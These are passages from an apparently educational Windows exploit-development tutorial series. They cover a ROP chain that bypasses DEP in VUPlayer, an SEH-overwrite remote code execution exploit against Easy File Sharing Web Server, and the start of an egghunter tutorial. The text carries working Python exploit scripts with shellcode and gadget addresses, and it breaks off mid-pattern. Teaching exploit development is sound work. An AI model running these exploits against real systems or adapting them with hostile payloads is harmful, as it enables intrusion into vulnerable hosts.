You can also inspect the process memory to see the ROP chain layout:
Now, sub in an actual payload, I’ll be using a vanilla calc.exe payload. You can view the updated script below:
import struct
BUF_SIZE = 3000
def create_rop_chain():
# rop chain generated with mona.py - www.corelan.be
rop_gadgets = [
0x10010157, # POP EBP # RETN [BASS.dll]
0x10010157, # skip 4 bytes [BASS.dll]
0x10015f77, # POP EAX # RETN [BASS.dll]
0xfffffdff, # Value to negate, will become 0x00000201
0x10014db4, # NEG EAX # RETN [BASS.dll]
0x10032f72, # XCHG EAX,EBX # RETN 0x00 [BASS.dll]
0x10015f82, # POP EAX # RETN [BASS.dll]
0xffffffc0, # Value to negate, will become 0x00000040
0x10014db4, # NEG EAX # RETN [BASS.dll]
0x10038a6d, # XCHG EAX,EDX # RETN [BASS.dll]
0x101049ec, # POP ECX # RETN [BASSWMA.dll]
0x101082db, # &Writable location [BASSWMA.dll]
0x1001621c, # POP EDI # RETN [BASS.dll]
0x1001dc05, # RETN (ROP NOP) [BASS.dll]
0x10604154, # POP ESI # RETN [BASSMIDI.dll]
0x10101c02, # JMP [EAX] [BASSWMA.dll]
0x10015fe7, # POP EAX # RETN [BASS.dll]
0x1060e25c, # ptr to &VirtualProtect() [IAT BASSMIDI.dll]
0x1001d7a5, # PUSHAD # RETN [BASS.dll]
0x10022aa7, # ptr to 'jmp esp' [BASS.dll]
]
return ''.join(struct.pack('<I', _) for _ in rop_gadgets)
junk = "A"*1012
rop_chain = create_rop_chain()
eip = struct.pack('<L',0x10601033) # RETN (BASSMIDI.dll)
nops = "\x90"*16
shellcode = ("\xbb\xc7\x16\xe0\xde\xda\xcc\xd9\x74\x24\xf4\x58\x2b\xc9\xb1"
"\x33\x83\xc0\x04\x31\x58\x0e\x03\x9f\x18\x02\x2b\xe3\xcd\x4b"
"\xd4\x1b\x0e\x2c\x5c\xfe\x3f\x7e\x3a\x8b\x12\x4e\x48\xd9\x9e"
"\x25\x1c\xc9\x15\x4b\x89\xfe\x9e\xe6\xef\x31\x1e\xc7\x2f\x9d"
"\xdc\x49\xcc\xdf\x30\xaa\xed\x10\x45\xab\x2a\x4c\xa6\xf9\xe3"
"\x1b\x15\xee\x80\x59\xa6\x0f\x47\xd6\x96\x77\xe2\x28\x62\xc2"
"\xed\x78\xdb\x59\xa5\x60\x57\x05\x16\x91\xb4\x55\x6a\xd8\xb1"
"\xae\x18\xdb\x13\xff\xe1\xea\x5b\xac\xdf\xc3\x51\xac\x18\xe3"
"\x89\xdb\x52\x10\x37\xdc\xa0\x6b\xe3\x69\x35\xcb\x60\xc9\x9d"
"\xea\xa5\x8c\x56\xe0\x02\xda\x31\xe4\x95\x0f\x4a\x10\x1d\xae"
"\x9d\x91\x65\x95\x39\xfa\x3e\xb4\x18\xa6\x91\xc9\x7b\x0e\x4d"
"\x6c\xf7\xbc\x9a\x16\x5a\xaa\x5d\x9a\xe0\x93\x5e\xa4\xea\xb3"
"\x36\x95\x61\x5c\x40\x2a\xa0\x19\xbe\x60\xe9\x0b\x57\x2d\x7b"
"\x0e\x3a\xce\x51\x4c\x43\x4d\x50\x2c\xb0\x4d\x11\x29\xfc\xc9"
"\xc9\x43\x6d\xbc\xed\xf0\x8e\x95\x8d\x97\x1c\x75\x7c\x32\xa5"
"\x1c\x80")
exploit = junk + eip + rop_chain + nops + shellcode
fill = "\x43" * (BUF_SIZE - len(exploit))
buf = exploit + fill
print "[+] Creating .m3u file of size "+ str(len(buf))
file = open('vuplayer-dep.m3u','w');
file.write(buf);
file.close();
print "[+] Done creating the file"
Run the final exploit script to generate the m3u file, restart VUPlayer in Immunity Debug and voila! We have a calc.exe!
Also, if you are lucky then Mona will auto-generate a complete ROP chain for you in the rop_chains.txt file from the !mona rop command (which is what I used). But, it’s important to understand how these chains are built line by line before you go automating everything!
Congrats on building your first ROP chain! It’s pretty tricky to get your head around at first, but all it takes is a little time to digest, some solid assembly programming knowledge and a bit of familiarity with the Windows OS. When you get the essentials under your belt, these more advanced exploit techniques become easier to handle. If you found anything to be unclear or you have some recommendations then send me a message on Twitter (@shogun_lab). I also encourage you to take a look at some additional tutorials on ROP and the developer docs for the various Windows OS memory protection functions. See you next time in Part 6!
お疲れ様でした。
Tutorials
Research
]]>Hello! In this post we’re looking at SEH overwrite exploits and our first Remote Code Execution. I’m back from a little hiatus which I partially blame on the reverse engineers over at FireEye Labs Advanced Reverse Engineering team for putting such a smashing CTF together called the FLARE-On challenge. But, I’ve returned to continue the Zero Day Zen Garden exploit development tutorial series. So without further ado, let’s get into Part 4 where we will be looking at how to overwrite the Structured Exception Handler (SEH) in Windows to gain arbitrary code execution.
The software we’ll be exploiting today is called Easy File Sharing Web Server (download software here) and you can see the proof-of-concept I based this post on at Exploit-DB. There’s a few things that are different about this exploit from previous tutorials, for starters, it’s a Remote Code Execution vulnerability. That means the software can be exploited across the internet from a remote location, which differs from the local exploits we have been dealing with in the past. The second difference is that instead of using a vanilla buffer overflow that overwrites EIP, it exploits the Structured Exception Handler or SEH chain to gain code execution. What does this mean? Well to understand the exploit, we need to understand what the SEH chain is.
The 30’000 foot view of SEH is as follows: Windows needs the software it runs to be able to recover from errors that occur, to do this, it allows developers to specify what should happen when a program runs into a problem (or an exception) and write special code that runs whenever an error pops up (handler). In other words, Windows implements a structured way for developers to handle exceptions that they called the Structured Exception Handler.
What does a Structured Exception Handler look like in the real world? Well, if you’ve ever encountered a software error you’ll be familiar with the error dialog box that pops up. That dialog box did not materialize out of thin air, it was programmed by someone as behaviour that would run whenever that error happened. This all sounds like a perfectly reasonable idea right? Well it is, as long as the code that runs after an error is code that was intended by the developer. We can actually hijack this process to run the code that we want by overwriting the original SEH code. Then, all that needs to happen for us to have the code get executed is to intentionally trigger an error (exception) by writing past the end of the buffer and voila! We have achieved arbitrary code execution.
Windows SEH implements a chain of code blocks to handle exceptions as a way for there to be several fallback options in case an error cannot be handled by an individual block. This code can be written in the software or the OS itself. Every program has an SEH chain, even software that does not have any error handling code written by the developer. For a diagram of the SEH chain, you can take a look at this photo from the Security Sift blog:
Now that you understand the general overview of how SEH works (and the first step of exploit development should always be understanding how the darn thing works), we can proceed to our exploit. First thing you’ll need to do is obtain the software and install it on your Windows XP virtual machine. Once Easy File Sharing Server is installed, open it up in Immunity Debugger (you’ll get an alert box about Registration, click the “Try it!” button to move past this dialog).
We need to confirm the vulnerability by crashing the software with a quick proof-of-concept script. Read the following Python script and I’ll explain it after:
import socket
import os
import time
import sys
# IP address of host (set to localhost 127.0.0.1 because we are running it on our VM)
host = "127.0.0.1"
# Port of host
port = 80
# Build buffer
buf = "/.:/" # Unusual, but needed
buf += "A" * 3000 # Our character buffer to cause a crash
# Craft our HTTP GET request
request = "GET /vfolder.ghp HTTP/1.1\r\n"
request += "Host: " + host + "\r\n"
request += "User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:31.0) Gecko/20100101 Firefox/31.0 Iceweasel/31.8.0" + "\r\n"
request += "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8" + "\r\n"
request += "Accept-Language: en-US,en;q=0.5" + "\r\n"
request += "Accept-Encoding: gzip, deflate" + "\r\n"
request += "Referer: " + "http://" + host + "/" + "\r\n"
request += "Cookie: SESSIONID=16246; UserID=PassWD=" + buf + "; frmUserName=; frmUserPass=;" # Insert buffer here
request += " rememberPass=pass"
request += "\r\n"
request += "Connection: keep-alive" + "\r\n"
request += "If-Modified-Since: Mon, 19 Jun 2017 17:36:03 GMT" + "\r\n"
print "[*] Connecting to target: " + host
# Set up our socket connection
s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
try:
# Attempt to connect to host
connect = s.connect((host, port))
print "[*] Successfully connected to: " + host
except:
print "[!] " + host + " didn't respond...\n"
sys.exit(0)
# Send payload to target
print "[*] Sending payload to target..."
s.send(request + "\r\n\r\n")
print "[!] Payload has been sent!\n"
s.close()
What we’re doing in the above script is placing a large buffer of 3000 “A” characters into the cookie portion of an HTTP GET request, then sending that off to the Easy File Sharing Web Server. It can’t properly parse the GET request, leading the buffer to overflow and crash the server. Let’s see it in action, go ahead and run the script to see the software crash. Now, check out Immunity Debugger and what you should see is the ever familiar 0x41414141 in the EAX register. But, we’re planning to develop an SEH exploit, where can we see evidence that we can control the SEH chain? Using Immunity Debugger, you can select View → SEH chain and you’ll see that it is corrupted! This is perfect, it means we can control portions of the SEH chain.
We have successfully confirmed that there is a buffer overflow vulnerability affecting the SEH chain and we can continue to build on our exploit. The thing we need to know now is, where on earth can we find the part in the buffer that influences the SEH chain? Well, we can use a pattern buffer like in previous exploits and then issue a Mona command to find the offset. Generate a pattern buffer of 3000 bytes using the following command:
!mona pc 3000
Open up the pattern.txt file and copy paste it into an updated Python exploit script:
import socket
import os
import time
import sys
# IP address of host (set to localhost 127.0.0.1 because we are running it on our VM)
host = "127.0.0.1"
# Port of host
port = 80
buf = "/.:/" # Unusual, but needed
# Character pattern buffer to locate SEH offset
buf += "Aa0Aa1Aa2Aa3Aa4Aa5Aa6Aa7Aa8Aa9Ab0Ab1Ab2Ab3Ab4Ab5Ab6Ab7Ab8Ab9Ac0Ac1Ac2Ac3Ac4Ac5Ac6Ac7Ac8Ac9Ad0Ad1Ad2Ad3Ad4Ad5Ad6Ad7Ad8Ad9Ae0Ae1Ae2Ae3Ae4Ae5Ae6Ae7Ae8Ae9Af0Af1Af2Af3Af4Af5Af6Af7Af8Af9Ag0Ag1Ag2Ag3Ag4Ag5Ag6Ag7Ag8Ag9Ah0Ah1Ah2Ah3Ah4Ah5Ah6Ah7Ah8Ah9Ai0Ai1Ai2Ai3Ai4Ai5Ai6Ai7Ai8Ai9Aj0Aj1Aj2Aj3Aj4Aj5Aj6Aj7Aj8Aj9Ak0Ak1Ak2Ak3Ak4Ak5Ak6Ak7Ak8Ak9Al0Al1Al2Al3Al4Al5Al6Al7Al8Al9Am0Am1Am2Am3Am4Am5Am6Am7Am8Am9An0An1An2An3An4An5An6An7An8An9Ao0Ao1Ao2Ao3Ao4Ao5Ao6Ao7Ao8Ao9Ap0Ap1Ap2Ap3Ap4Ap5Ap6Ap7Ap8Ap9Aq0Aq1Aq2Aq3Aq4Aq5Aq6Aq7Aq8Aq9Ar0Ar1Ar2Ar3Ar4Ar5Ar6Ar7Ar8Ar9As0As1As2As3As4As5As6As7As8As9At0At1At2At3At4At5At6At7At8At9Au0Au1Au2Au3Au4Au5Au6Au7Au8Au9Av0Av1Av2Av3Av4Av5Av6Av7Av8Av9Aw0Aw1Aw2Aw3Aw4Aw5Aw6Aw7Aw8Aw9Ax0Ax1Ax2Ax3Ax4Ax5Ax6Ax7Ax8Ax9Ay0Ay1Ay2Ay3Ay4Ay5Ay6Ay7Ay8Ay9Az0Az1Az2Az3Az4Az5Az6Az7Az8Az9Ba0Ba1Ba2Ba3Ba4Ba5Ba6Ba7Ba8Ba9Bb0Bb1Bb2Bb3Bb4Bb5Bb6Bb7Bb8Bb9Bc0Bc1Bc2Bc3Bc4Bc5Bc6Bc7Bc8Bc9Bd0Bd1Bd2Bd3Bd4Bd5Bd6Bd7Bd8Bd9Be0Be1Be2Be3Be4Be5Be6Be7Be8Be9Bf0Bf1Bf2Bf3Bf4Bf5Bf6Bf7Bf8Bf9Bg0Bg1Bg2Bg3Bg4Bg5Bg6Bg7Bg8Bg9Bh0Bh1Bh2Bh3Bh4Bh5Bh6Bh7Bh8Bh9Bi0Bi1Bi2Bi3Bi4Bi5Bi6Bi7Bi8Bi9Bj0Bj1Bj2Bj3Bj4Bj5Bj6Bj7Bj8Bj9Bk0Bk1Bk2Bk3Bk4Bk5Bk6Bk7Bk8Bk9Bl0Bl1Bl2Bl3Bl4Bl5Bl6Bl7Bl8Bl9Bm0Bm1Bm2Bm3Bm4Bm5Bm6Bm7Bm8Bm9Bn0Bn1Bn2Bn3Bn4Bn5Bn6Bn7Bn8Bn9Bo0Bo1Bo2Bo3Bo4Bo5Bo6Bo7Bo8Bo9Bp0Bp1Bp2Bp3Bp4Bp5Bp6Bp7Bp8Bp9Bq0Bq1Bq2Bq3Bq4Bq5Bq6Bq7Bq8Bq9Br0Br1Br2Br3Br4Br5Br6Br7Br8Br9Bs0Bs1Bs2Bs3Bs4Bs5Bs6Bs7Bs8Bs9Bt0Bt1Bt2Bt3Bt4Bt5Bt6Bt7Bt8Bt9Bu0Bu1Bu2Bu3Bu4Bu5Bu6Bu7Bu8Bu9Bv0Bv1Bv2Bv3Bv4Bv5Bv6Bv7Bv8Bv9Bw0Bw1Bw2Bw3Bw4Bw5Bw6Bw7Bw8Bw9Bx0Bx1Bx2Bx3Bx4Bx5Bx6Bx7Bx8Bx9By0By1By2By3By4By5By6By7By8By9Bz0Bz1Bz2Bz3Bz4Bz5Bz6Bz7Bz8Bz9Ca0Ca1Ca2Ca3Ca4Ca5Ca6Ca7Ca8Ca9Cb0Cb1Cb2Cb3Cb4Cb5Cb6Cb7Cb8Cb9Cc0Cc1Cc2Cc3Cc4Cc5Cc6Cc7Cc8Cc9Cd0Cd1Cd2Cd3Cd4Cd5Cd6Cd7Cd8Cd9Ce0Ce1Ce2Ce3Ce4Ce5Ce6Ce7Ce8Ce9Cf0Cf1Cf2Cf3Cf4Cf5Cf6Cf7Cf8Cf9Cg0Cg1Cg2Cg3Cg4Cg5Cg6Cg7Cg8Cg9Ch0Ch1Ch2Ch3Ch4Ch5Ch6Ch7Ch8Ch9Ci0Ci1Ci2Ci3Ci4Ci5Ci6Ci7Ci8Ci9Cj0Cj1Cj2Cj3Cj4Cj5Cj6Cj7Cj8Cj9Ck0Ck1Ck2Ck3Ck4Ck5Ck6Ck7Ck8Ck9Cl0Cl1Cl2Cl3Cl4Cl5Cl6Cl7Cl8Cl9Cm0Cm1Cm2Cm3Cm4Cm5Cm6Cm7Cm8Cm9Cn0Cn1Cn2Cn3Cn4Cn5Cn6Cn7Cn8Cn9Co0Co1Co2Co3Co4Co5Co6Co7Co8Co9Cp0Cp1Cp2Cp3Cp4Cp5Cp6Cp7Cp8Cp9Cq0Cq1Cq2Cq3Cq4Cq5Cq6Cq7Cq8Cq9Cr0Cr1Cr2Cr3Cr4Cr5Cr6Cr7Cr8Cr9Cs0Cs1Cs2Cs3Cs4Cs5Cs6Cs7Cs8Cs9Ct0Ct1Ct2Ct3Ct4Ct5Ct6Ct7Ct8Ct9Cu0Cu1Cu2Cu3Cu4Cu5Cu6Cu7Cu8Cu9Cv0Cv1Cv2Cv3Cv4Cv5Cv6Cv7Cv8Cv9Cw0Cw1Cw2Cw3Cw4Cw5Cw6Cw7Cw8Cw9Cx0Cx1Cx2Cx3Cx4Cx5Cx6Cx7Cx8Cx9Cy0Cy1Cy2Cy3Cy4Cy5Cy6Cy7Cy8Cy9Cz0Cz1Cz2Cz3Cz4Cz5Cz6Cz7Cz8Cz9Da0Da1Da2Da3Da4Da5Da6Da7Da8Da9Db0Db1Db2Db3Db4Db5Db6Db7Db8Db9Dc0Dc1Dc2Dc3Dc4Dc5Dc6Dc7Dc8Dc9Dd0Dd1Dd2Dd3Dd4Dd5Dd6Dd7Dd8Dd9De0De1De2De3De4De5De6De7De8De9Df0Df1Df2Df3Df4Df5Df6Df7Df8Df9Dg0Dg1Dg2Dg3Dg4Dg5Dg6Dg7Dg8Dg9Dh0Dh1Dh2Dh3Dh4Dh5Dh6Dh7Dh8Dh9Di0Di1Di2Di3Di4Di5Di6Di7Di8Di9Dj0Dj1Dj2Dj3Dj4Dj5Dj6Dj7Dj8Dj9Dk0Dk1Dk2Dk3Dk4Dk5Dk6Dk7Dk8Dk9Dl0Dl1Dl2Dl3Dl4Dl5Dl6Dl7Dl8Dl9Dm0Dm1Dm2Dm3Dm4Dm5Dm6Dm7Dm8Dm9Dn0Dn1Dn2Dn3Dn4Dn5Dn6Dn7Dn8Dn9Do0Do1Do2Do3Do4Do5Do6Do7Do8Do9Dp0Dp1Dp2Dp3Dp4Dp5Dp6Dp7Dp8Dp9Dq0Dq1Dq2Dq3Dq4Dq5Dq6Dq7Dq8Dq9Dr0Dr1Dr2Dr3Dr4Dr5Dr6Dr7Dr8Dr9Ds0Ds1Ds2Ds3Ds4Ds5Ds6Ds7Ds8Ds9Dt0Dt1Dt2Dt3Dt4Dt5Dt6Dt7Dt8Dt9Du0Du1Du2Du3Du4Du5Du6Du7Du8Du9Dv0Dv1Dv2Dv3Dv4Dv5Dv6Dv7Dv8Dv9"
request = "GET /vfolder.ghp HTTP/1.1\r\n"
request += "Host: " + host + "\r\n"
request += "User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:31.0) Gecko/20100101 Firefox/31.0 Iceweasel/31.8.0" + "\r\n"
request += "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8" + "\r\n"
request += "Accept-Language: en-US,en;q=0.5" + "\r\n"
request += "Accept-Encoding: gzip, deflate" + "\r\n"
request += "Referer: " + "http://" + host + "/" + "\r\n"
request += "Cookie: SESSIONID=16246; UserID=PassWD=" + buf + "; frmUserName=; frmUserPass=;" # Insert buffer here
request += " rememberPass=pass"
request += "\r\n"
request += "Connection: keep-alive" + "\r\n"
request += "If-Modified-Since: Mon, 19 Jun 2017 17:36:03 GMT" + "\r\n"
print "[*] Connecting to target: " + host
# Set up our socket connection
s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
try:
# Attempt to connect to host
connect = s.connect((host, port))
print "[*] Successfully connected to: " + host
except:
print "[!] " + host + " didn't respond...\n"
sys.exit(0)
# Send payload to target
print "[*] Sending payload to target..."
s.send(request + "\r\n\r\n")
print "[!] Payload has been sent!\n"
s.close()
After restarting the server in Immunity Debugger, run the script again and after the crash, use the following Mona command to identify the SEH offset:
!mona findmsp
Look at the console output from Mona and find the part where it describes the SEH offset, looks like it is 53 bytes in from the start of the buffer.
Now that we have an idea of where we can overwrite things in the SEH chain, we need some stuff to overwrite it with. In order for the SEH overwrite exploit to work, we need to have a few bytes of assembly opcode instructions that will jump to our shellcode payload and an address of a code section with POP POP RET in it so we can begin execution of this jump code. The opcode instructions will be placed in the Next SEH section and the POP POP RET pointer will be put in the SEH section.
To obtain the opcode instructions, we can consult what opcode is used for JMP in x86 assembly (0xEB) and then translate 20 into hex (0x14) to get the number of bytes we will jump. We’ll also add in some NOP instructions for good measure (0x90). The entire opcode sequence is as follows:
eb 14 90 90
This will look like “\xeb\x14\x90\x90” in our Python script, next we need to find that POP POP RET code block address. To find this, use the Mona command:
!mona seh
Open up the seh.txt log to find code block addresses that point to a POP POP RET sequence. Ideally we want a code section that resides in files from the application itself. This will make the exploit more portable and less dependent on individual Windows OS distributions. Remember, a good exploit will thrive in a large variety of environments, try to build in this adaptability from the beginning! I grabbed an address from ImageLoad.dll (0x10018605) which is an assembly code block of pop ebx → pop ecx → ret.
Let’s confirm if we have the correct opcodes and POP POP RET address combo by updating the Python script with some mock INT shellcode, check out the comments and I’ll explain the mechanics of the exploit script after:
import socket
import os
import time
import sys
# IP address of host (set to localhost 127.0.0.1 because we are running it on our VM)
host = "127.0.0.1"
# Port of host
port = 80
# Max size of our buffer
bufsize = 3000
padding = "/.:/" # Unusual, but needed
padding += "A" * 53 # 53 byte offset character buffer to reach SEH
nseh = "\xeb\x14\x90\x90" # nseh overwrite --> jmp 20 bytes with 2 NOPs
seh = "\x05\x86\x01\x10" # pop pop ret ImageLoad.dll (WinXP SP3) 0x10018605
nops = "\x90"*20 # 20 byte NOP sled
payload = "\xCC"*32 # mock INT shellcode
# Build our exploit
sploit = padding
sploit += nseh
sploit += seh
sploit += nops
sploit += payload
# Build the filler buffer
filler = "\x43"*(bufsize-len(sploit))
# Combine together for final buffer
buf = sploit
buf += filler
request = "GET /vfolder.ghp HTTP/1.1\r\n"
request += "Host: " + host + "\r\n"
request += "User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:31.0) Gecko/20100101 Firefox/31.0 Iceweasel/31.8.0" + "\r\n"
request += "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8" + "\r\n"
request += "Accept-Language: en-US,en;q=0.5" + "\r\n"
request += "Accept-Encoding: gzip, deflate" + "\r\n"
request += "Referer: " + "http://" + host + "/" + "\r\n"
request += "Cookie: SESSIONID=16246; UserID=PassWD=" + buf + "; frmUserName=; frmUserPass=;" # Insert buffer here
request += " rememberPass=pass"
request += "\r\n"
request += "Connection: keep-alive" + "\r\n"
request += "If-Modified-Since: Mon, 19 Jun 2017 17:36:03 GMT" + "\r\n"
print "[*] Connecting to target: " + host
# Set up our socket connection
s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
try:
# Attempt to connect to host
connect = s.connect((host, port))
print "[*] Successfully connected to: " + host
except:
print "[!] " + host + " didn't respond...\n"
sys.exit(0)
# Send payload to target
print "[*] Sending payload to target..."
s.send(request + "\r\n\r\n")
print "[!] Payload has been sent!\n"
s.close()
So we defined several variables in our script to get the exploit to work, they are as follows:
What this script will do is overwrite the Next SEH pointer with our custom jump opcodes and SEH with our new address pointing at POP POP RET. This will pop two instructions off the stack frame and return to our jump opcode, leading to code execution of the INT payload we added.
Run the script and check out Immunity Debugger, you’ll need to pass the exception to the application for the exploit to work. To do this, from within Immunity, press Shift-F7 then F9 and you’ll see that the payload gets executed when it says “INT”.
Brilliant! We have achieved code execution and we can now specify any payload we want. Let’s choose a good ol’ pop calc shellcode payload. Add the following into our script and run it again:
31 C9 # xor ecx,ecx
51 # push ecx
68 63 61 6C 63 # push 0x636c6163
54 # push dword ptr esp
B8 C7 93 C2 77 # mov eax,0x77c293c7
FF D0 # call eax
import socket
import os
import time
import sys
# IP address of host (set to localhost 127.0.0.1 because we are running it on our VM)
host = "127.0.0.1"
# Port of host
port = 80
# Max size of our buffer
bufsize = 3000
padding = "/.:/" # Unusual, but needed
padding += "A" * 53 # 53 byte offset character buffer to reach SEH
nseh = "\xeb\x14\x90\x90" # nseh overwrite --> jmp 20 bytes with 2 NOPs
seh = "\x05\x86\x01\x10" # pop pop ret ImageLoad.dll (WinXP SP3) 0x10018605
nops = "\x90"*20 # 20 byte NOP sled
# Calc.exe shellcode payload
payload = "\x31\xC9" # xor ecx,ecx
payload += "\x51" # push ecx
payload += "\x68\x63\x61\x6C\x63" # push 0x636c6163
payload += "\x54" # push dword ptr esp
payload += "\xB8\xC7\x93\xC2\x77" # mov eax,0x77c293c7
payload += "\xFF\xD0" # call eax
# Build our exploit
# | offset [53 bytes] | nSeh [jmp 20 bytes] | Seh [0x10018605] | NOP sled | payload | filler |
sploit = padding
sploit += nseh
sploit += seh
sploit += nops
sploit += payload
# Build the filler buffer
filler = "\x43"*(bufsize-len(sploit))
# Combine together for final buffer
buf = sploit
buf += filler
request = "GET /vfolder.ghp HTTP/1.1\r\n"
request += "Host: " + host + "\r\n"
request += "User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:31.0) Gecko/20100101 Firefox/31.0 Iceweasel/31.8.0" + "\r\n"
request += "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8" + "\r\n"
request += "Accept-Language: en-US,en;q=0.5" + "\r\n"
request += "Accept-Encoding: gzip, deflate" + "\r\n"
request += "Referer: " + "http://" + host + "/" + "\r\n"
request += "Cookie: SESSIONID=16246; UserID=PassWD=" + buf + "; frmUserName=; frmUserPass=;" # Insert buffer here
request += " rememberPass=pass"
request += "\r\n"
request += "Connection: keep-alive" + "\r\n"
request += "If-Modified-Since: Mon, 19 Jun 2017 17:36:03 GMT" + "\r\n"
print "[*] Connecting to target: " + host
# Set up our socket connection
s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
try:
# Attempt to connect to host
connect = s.connect((host, port))
print "[*] Successfully connected to: " + host
except:
print "[!] " + host + " didn't respond...\n"
sys.exit(0)
# Send payload to target
print "[*] Sending payload to target..."
s.send(request + "\r\n\r\n")
print "[!] Payload has been sent!\n"
s.close()
After running the updated Python script and passing the exception (Shift-F7) then resuming execution (F9), you should see our old friend, the Windows calculator program calc.exe! Congratulations, you just completed your first SEH buffer overflow exploit script! That was more complex than our previous exploits so pat yourself on the back, it’s also our first Remote Code Execution (or RCE) exploit in the series.
What did we learn from this exploit? We learned that software sometimes introduces functionality that at its face is perfectly fine and well intentioned, but upon further poking and prodding can be turned into an attack vector. Who would have thought that error handling could be made into a vulnerability? It’s quite amusing that Windows introduced something intended to recover from errors, but in reality added a new way to make errors even worse. We also learned all about how Windows handles errors using the Structured Exception Handler chain, proving that any hacker worth their salt should be familiar with the operating system they are writing exploits for. You end up missing quite a lot if you don’t know about the environment you’re hacking in. So dust off that Operating System Concepts 7th edition book and get reading!
Thanks for coming back to check out the 4th part of this Windows exploit development series, it means a lot to me and I hope you are learning things that will help you get further as a vulnerability researcher. If you found anything to be unclear or you have some recommendations then send me a message on Twitter (@shogun_lab). RSS feed can be found here. I’ll see you next time for Part 5!
お疲れ様でした。
UPDATE: Part 5 is posted here.
Tutorials
Research
]]>Hey there! Today, we’re going to be using an egghunter to find shellcode on the stack. This will be our first glance at what’s categorized as “staged shellcode”, exciting! The target we’ll be exploiting is a media player called VUPlayer v2.49 (download it here) and you can read more about the original exploit from the Exploit-DB page. Okay, let’s get started on our first egghunter exploit!
First, as usual, we’ll need to see how we can crash the target program. VUPlayer is vulnerable to a stack buffer overflow when it parses a “.pls” file. A vulnerability like this would typically be found through a file format fuzzer (more on that in later tutorials). Let’s generate a large buffer and stuff it into a “.pls” file. We can write a Python script to do all of this for us:
BUF_SIZE = 2000 # Set a consistent total buffer size
crash = "A"*BUF_SIZE # Generate a large buffer of A's
buf = crash # Store into buffer for crash
try:
f = open("C:\\payload.pls", "wb") # Exploit output will be written to C directory
f.write(buf) # Write entirety of buffer out to file
f.close() # Close file
print "\nVUPlayer Egghunter Stack Buffer Overflow Exploit"
print "\nExploit written successfully!"
print "Buffer size: " + str(len(buf)) + "\n" # Buffer size sanity check to ensure there's nothing funny going on
except Exception, e:
print "\nError! Exploit could not be generated, error details follow:\n"
print str(e) + "\n"
As you can see, we wrote a script to generate a large A buffer then stuff it into a file called “payload.pls” which will be written out to the C directory. Run the script, start up VUPlayer and then drag + drop the payload file into the media player. It crashed! There wasn’t any helpful error box this time so I’m omitting the screenshot of it being crashed. Awesome, now let’s attach a debugger and confirm that EIP was overwritten in the first step of our exploit development process.
Alright, let’s open VUPlayer with Immunity Debugger and hit Run (F9).
Immunity will pop up a few warning message boxes about possible self-modifying code, just hit okay to close them and continue on.
Let’s drag and drop the crashing payload file again and…
We have A’s in our EIP! That’s great, we can confirm that we have a function return pointer overwrite. Let’s generate a pattern now and see if we can discover the EIP offset.
Generate a pattern buffer using the following Mona command so we can add it to our Python script:
!mona pc 2000
Go into your logs folder and find the pattern.txt file, copy and paste the contents into the “crash” variable of your Python script:
BUF_SIZE = 2000 # Set a consistent total buffer size
# Store generated pattern in crash variable
crash = "Aa0Aa1Aa2Aa3Aa4Aa5Aa6Aa7Aa8Aa9Ab0Ab1Ab2Ab3Ab4Ab5Ab6Ab7Ab8Ab9Ac0Ac1Ac2Ac3Ac4Ac5Ac6Ac7Ac8Ac9Ad0Ad1Ad2Ad3Ad4Ad5Ad6Ad7Ad8Ad9Ae0Ae1Ae2Ae3Ae4Ae5Ae6Ae7Ae8Ae9Af0Af1Af2Af3Af4Af5Af6Af7Af8Af9Ag0Ag1Ag2Ag3Ag4Ag5Ag6Ag7Ag8Ag9Ah0Ah1Ah2Ah3Ah4Ah5Ah6Ah7Ah8Ah9Ai0Ai1Ai2Ai3Ai4Ai5Ai6Ai7Ai8Ai9Aj0Aj1Aj2Aj3Aj4Aj5Aj6Aj7Aj8Aj9Ak0Ak1Ak2Ak3Ak4Ak5Ak6Ak7Ak8Ak9Al0Al1Al2Al3Al4Al5Al6Al7Al8Al9Am0Am1Am2Am3Am4Am5Am6Am7Am8Am9An0An1An2An3An4An5An6An7An8An9Ao0Ao1Ao2Ao3Ao4Ao5Ao6Ao7Ao8Ao9Ap0Ap1Ap2Ap3Ap4Ap5Ap6Ap7Ap8Ap9Aq0Aq1Aq2Aq3Aq4Aq5Aq6Aq7Aq8Aq9Ar0Ar1Ar2Ar3Ar4Ar5Ar6Ar7Ar8Ar9As0As1As2As3As4As5As6As7As8As9At0At1At2At3At4At5At6At7At8At9Au0Au1Au2Au3Au4Au5Au6Au7Au8Au9Av0Av1Av2Av3Av4Av5Av6Av7Av8Av9Aw0Aw1Aw2Aw3Aw4Aw5Aw6Aw7Aw8Aw9Ax0Ax1Ax2Ax3Ax4Ax5Ax6Ax7Ax8Ax9Ay0Ay1Ay2Ay3Ay4Ay5Ay6Ay7Ay8Ay9Az0Az1Az2Az3Az4Az5Az6Az7Az8Az9Ba0Ba1Ba2Ba3Ba4Ba5Ba6Ba7Ba8Ba9Bb0Bb1Bb2Bb3Bb4Bb5Bb6Bb7Bb8Bb9Bc0Bc1Bc2Bc3Bc4Bc5Bc6Bc7Bc8Bc9Bd0Bd1Bd2Bd3Bd4Bd5Bd6Bd7Bd8Bd9Be0Be1Be2Be3Be4Be5Be6Be7Be8Be9Bf0Bf1Bf2Bf3Bf4Bf5Bf6Bf7Bf8Bf9Bg0Bg1Bg2Bg3Bg4Bg5Bg6Bg7Bg8Bg9Bh0Bh1Bh2Bh3Bh4Bh5Bh6Bh7Bh8Bh9Bi0Bi1Bi2Bi3Bi4Bi5Bi6Bi7Bi8Bi9Bj0Bj1Bj2Bj3Bj4Bj5Bj6Bj7Bj8Bj9Bk0Bk1Bk2Bk3Bk4Bk5Bk6Bk7Bk8Bk9Bl0Bl1Bl2Bl3Bl4Bl5Bl6Bl7Bl8Bl9Bm0Bm1Bm2Bm3Bm4Bm5Bm6Bm7Bm8Bm9Bn0Bn1Bn2Bn3Bn4Bn5Bn6Bn7Bn8Bn9Bo0Bo1Bo2Bo3Bo4Bo